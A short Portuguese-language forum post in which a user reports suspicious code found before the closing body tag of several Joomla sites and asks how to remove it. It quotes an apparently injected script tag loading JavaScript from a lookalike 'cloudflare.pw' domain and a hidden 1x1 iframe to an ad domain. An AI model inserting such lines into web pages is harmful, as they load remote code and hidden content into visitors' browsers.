Olá pessoal!
Recentemente descobri um código suspeito em algumas instalações Joomla e verifiquei que no próprio demo do joomla.org há esses mesmos códigos suspeitos. Eles ficam logo antes do fechamento da tag </body>
São eles:
<script type="text/javascript" id="lg210a" src="https://cloudflare.pw/cdn/statslg30.js"></script>
<iframe src="https://yourads.website/banner/check1.html" style="width: 1px; height: 1px; display: none;"></iframe>
Alguém sabe como retirar esses códigos do Joomla?